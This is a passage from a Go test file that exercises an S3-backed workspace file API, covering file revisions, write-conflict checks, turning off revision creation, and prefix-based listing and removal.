"test1.txt", ReadFileInWorkspaceOptions{WorkspaceID: id}) 748 | if nf := (*NotFoundInWorkspaceError)(nil); !errors.As(err, &nf) { 749 | t.Errorf("Unexpected error reading non-existent file: %v", err) 750 | } 751 | 752 | err = g.DeleteFileInWorkspace(context.Background(), "test.txt", DeleteFileInWorkspaceOptions{WorkspaceID: id}) 753 | if err != nil { 754 | t.Errorf("Error deleting file: %v", err) 755 | } 756 | } 757 | 758 | func TestRevisionsForFileInWorkspaceS3(t *testing.T) { 759 | if os.Getenv("AWS_ACCESS_KEY_ID") == "" || os.Getenv("AWS_SECRET_ACCESS_KEY") == "" || os.Getenv("WORKSPACE_PROVIDER_S3_BUCKET") == "" { 760 | t.Skip("Skipping test because AWS credentials are not set") 761 | } 762 | 763 | id, err := g.CreateWorkspace(context.Background(), "s3") 764 | if err != nil { 765 | t.Fatalf("Error creating workspace: %v", err) 766 | } 767 | 768 | t.Cleanup(func() { 769 | err := g.DeleteWorkspace(context.Background(), id) 770 | if err != nil { 771 | t.Errorf("Error deleting workspace: %v", err) 772 | } 773 | }) 774 | 775 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test0"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 776 | if err != nil { 777 | t.Fatalf("Error creating file: %v", err) 778 | } 779 | 780 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test1"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 781 | if err != nil { 782 | t.Fatalf("Error creating file: %v", err) 783 | } 784 | 785 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test2"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 786 | if err != nil { 787 | t.Fatalf("Error creating file: %v", err) 788 | } 789 | 790 | revisions, err := g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 791 | if err != nil { 792 | t.Errorf("Error reading file: %v", err) 793 | } 794 | 795 | if len(revisions) != 2 { 796 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 797 | } 798 | 799 | for i, rev := range revisions { 800 | if rev.WorkspaceID != id { 801 | t.Errorf("Unexpected file workspace ID: %v", rev.WorkspaceID) 802 | } 803 | 804 | if rev.Name != "test.txt" { 805 | t.Errorf("Unexpected file name: %s", rev.Name) 806 | } 807 | 808 | if rev.Size != 5 { 809 | t.Errorf("Unexpected file size: %d", rev.Size) 810 | } 811 | 812 | if rev.ModTime.IsZero() { 813 | t.Errorf("Unexpected file mod time: %v", rev.ModTime) 814 | } 815 | 816 | if rev.MimeType != "text/plain" { 817 | t.Errorf("Unexpected file mime type: %s", rev.MimeType) 818 | } 819 | 820 | if rev.RevisionID != fmt.Sprintf("%d", i+1) { 821 | t.Errorf("Unexpected revision ID: %s", rev.RevisionID) 822 | } 823 | } 824 | 825 | err = g.DeleteRevisionForFileInWorkspace(context.Background(), "test.txt", "1", DeleteRevisionForFileInWorkspaceOptions{WorkspaceID: id}) 826 | if err != nil { 827 | t.Errorf("Error deleting revision for file: %v", err) 828 | } 829 | 830 | revisions, err = g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 831 | if err != nil { 832 | t.Errorf("Error reading file: %v", err) 833 | } 834 | 835 | if len(revisions) != 1 { 836 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 837 | } 838 | 839 | err = g.DeleteFileInWorkspace(context.Background(), "test.txt", DeleteFileInWorkspaceOptions{WorkspaceID: id}) 840 | if err != nil { 841 | t.Errorf("Error deleting file: %v", err) 842 | } 843 | 844 | revisions, err = g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 845 | if err != nil { 846 | t.Errorf("Error reading file: %v", err) 847 | } 848 | 849 | if len(revisions) != 0 { 850 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 851 | } 852 | } 853 | 854 | func TestConflictsForFileInWorkspaceS3(t *testing.T) { 855 | if os.Getenv("AWS_ACCESS_KEY_ID") == "" || os.Getenv("AWS_SECRET_ACCESS_KEY") == "" || os.Getenv("WORKSPACE_PROVIDER_S3_BUCKET") == "" { 856 | t.Skip("Skipping test because AWS credentials are not set") 857 | } 858 | 859 | id, err := g.CreateWorkspace(context.Background(), "s3") 860 | if err != nil { 861 | t.Fatalf("Error creating workspace: %v", err) 862 | } 863 | 864 | t.Cleanup(func() { 865 | err := g.DeleteWorkspace(context.Background(), id) 866 | if err != nil { 867 | t.Errorf("Error deleting workspace: %v", err) 868 | } 869 | }) 870 | 871 | ce := (*ConflictInWorkspaceError)(nil) 872 | // Writing a new file with a non-zero latest revision should fail 873 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test0"), WriteFileInWorkspaceOptions{WorkspaceID: id, LatestRevisionID: "1"}) 874 | if err == nil || !errors.As(err, &ce) { 875 | t.Errorf("Expected error writing file with non-zero latest revision: %v", err) 876 | } 877 | 878 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test0"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 879 | if err != nil { 880 | t.Fatalf("Error creating file: %v", err) 881 | } 882 | 883 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test1"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 884 | if err != nil { 885 | t.Fatalf("Error creating file: %v", err) 886 | } 887 | 888 | revisions, err := g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 889 | if err != nil { 890 | t.Errorf("Error reading file: %v", err) 891 | } 892 | 893 | if len(revisions) != 1 { 894 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 895 | } 896 | 897 | // Writing to the file with the latest revision should succeed 898 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test2"), WriteFileInWorkspaceOptions{WorkspaceID: id, LatestRevisionID: revisions[0].RevisionID}) 899 | if err != nil { 900 | t.Fatalf("Error creating file: %v", err) 901 | } 902 | 903 | revisions, err = g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 904 | if err != nil { 905 | t.Errorf("Error reading file: %v", err) 906 | } 907 | 908 | if len(revisions) != 2 { 909 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 910 | } 911 | 912 | // Writing to the file with the same revision should fail 913 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test3"), WriteFileInWorkspaceOptions{WorkspaceID: id, LatestRevisionID: revisions[0].RevisionID}) 914 | if err == nil || !errors.As(err, &ce) { 915 | t.Errorf("Expected error writing file with same revision: %v", err) 916 | } 917 | 918 | latestRevisionID := revisions[1].RevisionID 919 | err = g.DeleteRevisionForFileInWorkspace(context.Background(), "test.txt", latestRevisionID, DeleteRevisionForFileInWorkspaceOptions{WorkspaceID: id}) 920 | if err != nil { 921 | t.Errorf("Error deleting revision for file: %v", err) 922 | } 923 | 924 | revisions, err = g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 925 | if err != nil { 926 | t.Errorf("Error reading file: %v", err) 927 | } 928 | 929 | if len(revisions) != 1 { 930 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 931 | } 932 | 933 | // Ensure we cannot write a new file with the zero-th revision ID 934 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test4"), WriteFileInWorkspaceOptions{WorkspaceID: id, LatestRevisionID: revisions[0].RevisionID}) 935 | if err == nil || !errors.As(err, &ce) { 936 | t.Fatalf("Error creating file: %v", err) 937 | } 938 | 939 | // Ensure we can write a new file after deleting the latest revision 940 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test4"), WriteFileInWorkspaceOptions{WorkspaceID: id, LatestRevisionID: latestRevisionID}) 941 | if err != nil { 942 | t.Fatalf("Error creating file: %v", err) 943 | } 944 | 945 | err = g.DeleteFileInWorkspace(context.Background(), "test.txt", DeleteFileInWorkspaceOptions{WorkspaceID: id}) 946 | if err != nil { 947 | t.Errorf("Error deleting file: %v", err) 948 | } 949 | } 950 | 951 | func TestDisableCreatingRevisionsForFileInWorkspaceS3(t *testing.T) { 952 | if os.Getenv("AWS_ACCESS_KEY_ID") == "" || os.Getenv("AWS_SECRET_ACCESS_KEY") == "" || os.Getenv("WORKSPACE_PROVIDER_S3_BUCKET") == "" { 953 | t.Skip("Skipping test because AWS credentials are not set") 954 | } 955 | 956 | id, err := g.CreateWorkspace(context.Background(), "s3") 957 | if err != nil { 958 | t.Fatalf("Error creating workspace: %v", err) 959 | } 960 | 961 | t.Cleanup(func() { 962 | err := g.DeleteWorkspace(context.Background(), id) 963 | if err != nil { 964 | t.Errorf("Error deleting workspace: %v", err) 965 | } 966 | }) 967 | 968 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test0"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 969 | if err != nil { 970 | t.Fatalf("Error creating file: %v", err) 971 | } 972 | 973 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test1"), WriteFileInWorkspaceOptions{WorkspaceID: id, CreateRevision: new(bool)}) 974 | if err != nil { 975 | t.Fatalf("Error creating file: %v", err) 976 | } 977 | 978 | err = g.WriteFileInWorkspace(context.Background(), "test.txt", []byte("test2"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 979 | if err != nil { 980 | t.Fatalf("Error creating file: %v", err) 981 | } 982 | 983 | revisions, err := g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 984 | if err != nil { 985 | t.Errorf("Error reading file: %v", err) 986 | } 987 | 988 | if len(revisions) != 1 { 989 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 990 | } 991 | 992 | for i, rev := range revisions { 993 | if rev.WorkspaceID != id { 994 | t.Errorf("Unexpected file workspace ID: %v", rev.WorkspaceID) 995 | } 996 | 997 | if rev.Name != "test.txt" { 998 | t.Errorf("Unexpected file name: %s", rev.Name) 999 | } 1000 | 1001 | if rev.Size != 5 { 1002 | t.Errorf("Unexpected file size: %d", rev.Size) 1003 | } 1004 | 1005 | if rev.ModTime.IsZero() { 1006 | t.Errorf("Unexpected file mod time: %v", rev.ModTime) 1007 | } 1008 | 1009 | if rev.MimeType != "text/plain" { 1010 | t.Errorf("Unexpected file mime type: %s", rev.MimeType) 1011 | } 1012 | 1013 | if rev.RevisionID != fmt.Sprintf("%d", i+1) { 1014 | t.Errorf("Unexpected revision ID: %s", rev.RevisionID) 1015 | } 1016 | } 1017 | 1018 | err = g.DeleteRevisionForFileInWorkspace(context.Background(), "test.txt", "1", DeleteRevisionForFileInWorkspaceOptions{WorkspaceID: id}) 1019 | if err != nil { 1020 | t.Errorf("Error deleting revision for file: %v", err) 1021 | } 1022 | 1023 | revisions, err = g.ListRevisionsForFileInWorkspace(context.Background(), "test.txt", ListRevisionsForFileInWorkspaceOptions{WorkspaceID: id}) 1024 | if err != nil { 1025 | t.Errorf("Error reading file: %v", err) 1026 | } 1027 | 1028 | if len(revisions) != 0 { 1029 | t.Errorf("Unexpected number of revisions: %d", len(revisions)) 1030 | } 1031 | 1032 | err = g.DeleteFileInWorkspace(context.Background(), "test.txt", DeleteFileInWorkspaceOptions{WorkspaceID: id}) 1033 | if err != nil { 1034 | t.Errorf("Error deleting file: %v", err) 1035 | } 1036 | } 1037 | 1038 | func TestLsComplexWorkspaceS3(t *testing.T) { 1039 | if os.Getenv("AWS_ACCESS_KEY_ID") == "" || os.Getenv("AWS_SECRET_ACCESS_KEY") == "" || os.Getenv("WORKSPACE_PROVIDER_S3_BUCKET") == "" { 1040 | t.Skip("Skipping test because AWS credentials are not set") 1041 | } 1042 | 1043 | id, err := g.CreateWorkspace(context.Background(), "s3") 1044 | if err != nil { 1045 | t.Fatalf("Error creating workspace: %v", err) 1046 | } 1047 | 1048 | t.Cleanup(func() { 1049 | err := g.DeleteWorkspace(context.Background(), id) 1050 | if err != nil { 1051 | t.Errorf("Error deleting workspace: %v", err) 1052 | } 1053 | }) 1054 | 1055 | err = g.WriteFileInWorkspace(context.Background(), "test/test1.txt", []byte("hello1"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 1056 | if err != nil { 1057 | t.Fatalf("Error creating file: %v", err) 1058 | } 1059 | 1060 | err = g.WriteFileInWorkspace(context.Background(), "test1/test2.txt", []byte("hello2"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 1061 | if err != nil { 1062 | t.Fatalf("Error creating file: %v", err) 1063 | } 1064 | 1065 | err = g.WriteFileInWorkspace(context.Background(), "test1/test3.txt", []byte("hello3"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 1066 | if err != nil { 1067 | t.Fatalf("Error creating file: %v", err) 1068 | } 1069 | 1070 | err = g.WriteFileInWorkspace(context.Background(), ".hidden.txt", []byte("hidden"), WriteFileInWorkspaceOptions{WorkspaceID: id}) 1071 | if err != nil { 1072 | t.Fatalf("Error creating hidden file: %v", err) 1073 | } 1074 | 1075 | // List all files 1076 | content, err := g.ListFilesInWorkspace(context.Background(), ListFilesInWorkspaceOptions{WorkspaceID: id}) 1077 | if err != nil { 1078 | t.Fatalf("Error listing files: %v", err) 1079 | } 1080 | 1081 | if len(content) != 4 { 1082 | t.Errorf("Unexpected number of files: %d", len(content)) 1083 | } 1084 | 1085 | // List files in subdirectory 1086 | content, err = g.ListFilesInWorkspace(context.Background(), ListFilesInWorkspaceOptions{WorkspaceID: id, Prefix: "test1"}) 1087 | if err != nil { 1088 | t.Fatalf("Error listing files: %v", err) 1089 | } 1090 | 1091 | if len(content) != 2 { 1092 | t.Errorf("Unexpected number of files: %d", len(content)) 1093 | } 1094 | 1095 | // Remove all files with test1 prefix 1096 | err = g.RemoveAll(context.Background(), RemoveAllOptions{WorkspaceID: id, WithPrefix: "test1"}) 1097 | if err != nil { 1098 | t.Fatalf("Error removing files: %v", err) 1099 | } 1100 | 1101 | // List files in subdirectory 1102 | content, err = g.ListFilesInWorkspace(context.Background(), ListFilesInWorkspaceOptions{WorkspaceID: id}) 1103 | if err != nil { 1104 | t.Fatalf("Error listing files: %v", err) 1105 | } 1106 | 1107 | if len(content) != 2 { 1108 | t.Errorf("Unexpected number of files: %d", len(content)) 1109 | } 1110 | } 1111 | --------------------------------------------------------------------------------